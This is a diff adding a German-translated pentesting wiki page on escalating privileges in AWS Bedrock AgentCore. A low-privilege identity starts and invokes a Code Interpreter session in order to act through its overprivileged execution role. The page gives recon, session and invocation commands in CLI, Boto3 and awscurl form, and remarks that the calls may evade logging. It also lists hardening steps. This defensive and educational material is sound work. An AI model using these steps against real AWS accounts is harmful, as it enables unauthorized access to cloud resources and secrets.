Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md

@@ -0,0 +1,113 @@
+# AWS - Bedrock PrivEsc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Amazon Bedrock AgentCore
+
+### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
+
+Der AgentCore Code Interpreter ist eine verwaltete Ausführungsumgebung. **Custom Code Interpreters** können mit einem **`executionRoleArn`** konfiguriert werden, das „Berechtigungen für den Code Interpreter bereitstellt, um auf AWS-Services zuzugreifen“.
+
+Wenn ein **IAM-Principal mit geringeren Rechten** eine Code Interpreter-Session **starten + aufrufen** kann, die mit einer **höher privilegierten Execution-Rolle** konfiguriert ist, kann der Anrufer effektiv **in die Berechtigungen der Execution-Rolle pivoten** (lateral movement / privilege escalation abhängig vom Umfang der Rolle).
+
+> [!NOTE]
+> Dies ist typischerweise ein **Fehlkonfiguration / übermäßige Berechtigungen**-Problem (zu weite Rechte für die Interpreter-Execution-Rolle und/oder zu breite Invoke-Rechte).
+> AWS warnt explizit davor, Privilegieneskalation zu vermeiden, indem Execution-Rollen **gleich viele oder weniger** Rechte haben als die Identitäten, denen Invoke erlaubt ist.
+
+#### Preconditions (common misconfiguration)
+
+- Ein **custom code interpreter** existiert mit einer überprivilegierten **Execution-Rolle** (z. B. Zugriff auf sensitive S3/Secrets/SSM oder IAM-admin-ähnliche Fähigkeiten).
+- Ein Benutzer (Entwickler/Auditor/CI-Identität) hat Berechtigungen für:
+- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
+- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
+- (Optional) Der Benutzer kann auch Interpreter erstellen: `bedrock-agentcore:CreateCodeInterpreter` (ermöglicht ihnen, je nach organisatorischen Richtlinien einen neuen Interpreter mit einer Execution-Rolle zu erstellen).
+
+#### Recon (identify custom interpreters and execution role usage)
+
+Interpreter auflisten (control-plane) und deren Konfiguration prüfen:
+```bash
+aws bedrock-agentcore-control list-code-interpreters
+aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
+````
+> Der create-code-interpreter-Befehl unterstützt `--execution-role-arn`, das definiert, welche AWS-Berechtigungen der Interpreter haben wird.
+
+#### Schritt 1 - Eine Session starten (dies gibt eine `sessionId` zurück, not an interactive shell)
+```bash
+SESSION_ID=$(
+aws bedrock-agentcore start-code-interpreter-session \
+--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
+--name "arte-oussama" \
+--query sessionId \
+--output text
+)
+
+echo "SessionId: $SESSION_ID"
+```
+#### Schritt 2 - Codeausführung aufrufen (Boto3 oder signed HTTPS)
+
+Es gibt **keine interaktive python-Shell** von `start-code-interpreter-session`. Die Ausführung erfolgt über **InvokeCodeInterpreter**.
+
+**Option A - Boto3 Beispiel (Python ausführen + Identität prüfen):**
+```python
+import boto3
+
+client = boto3.client("bedrock-agentcore", region_name="<REGION>")
+
+# Execute python inside the Code Interpreter session
+resp = client.invoke_code_interpreter(
+codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
+sessionId="<SESSION_ID>",
+name="executeCode",
+arguments={
+"language": "python",
+"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
+}
+)
+
+# Response is streamed; print events for visibility
+for event in resp.get("stream", []):
+print(event)
+```
+Wenn der Interpreter mit einer Ausführungsrolle konfiguriert ist, sollte die Ausgabe von `sts:GetCallerIdentity()` die Identität dieser Rolle widerspiegeln (nicht die des niedrig privilegierten Aufrufers), was den Pivot demonstriert.
+
+**Option B - Signierter HTTPS-Aufruf (awscurl):**
+```bash
+awscurl -X POST \
+"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
+-H "Content-Type: application/json" \
+-H "Accept: application/json" \
+-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
+--service bedrock-agentcore \
+--region <Region> \
+-d '{
+"name": "executeCode",
+"arguments": {
+"language": "python",
+"code": "print(\"Hello from AgentCore\")"
+}
+}'
+```
+#### Auswirkungen
+
+* **Lateral movement** in jeden AWS-Zugriff, den die interpreter execution role hat.
+* **Privilege escalation** wenn die interpreter execution role privilegierter ist als der Aufrufer.
+* Schwerer zu erkennen, wenn CloudTrail data events für interpreter-Aufrufe nicht aktiviert sind (Aufrufe werden je nach Konfiguration möglicherweise standardmäßig nicht protokolliert).
+
+#### Gegenmaßnahmen / Härtung
+
+* **Least privilege** auf der interpreter `executionRoleArn` (behandle es wie Lambda execution roles / CI roles).
+* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) und wer Sitzungen starten kann.
+* Verwende **SCPs**, um InvokeCodeInterpreter zu verweigern, außer für genehmigte agent runtime roles (Durchsetzung auf Org-Ebene kann notwendig sein).
+* Aktiviere geeignete **CloudTrail data events** für AgentCore, wo anwendbar; alarmiere bei unerwarteten Aufrufen und bei Erstellung von Sessions.
+
+## References
+
+- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
+- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
+- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
+- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
+- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
+- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
+
+
+{{#include ../../../../banners/hacktricks-training.md}}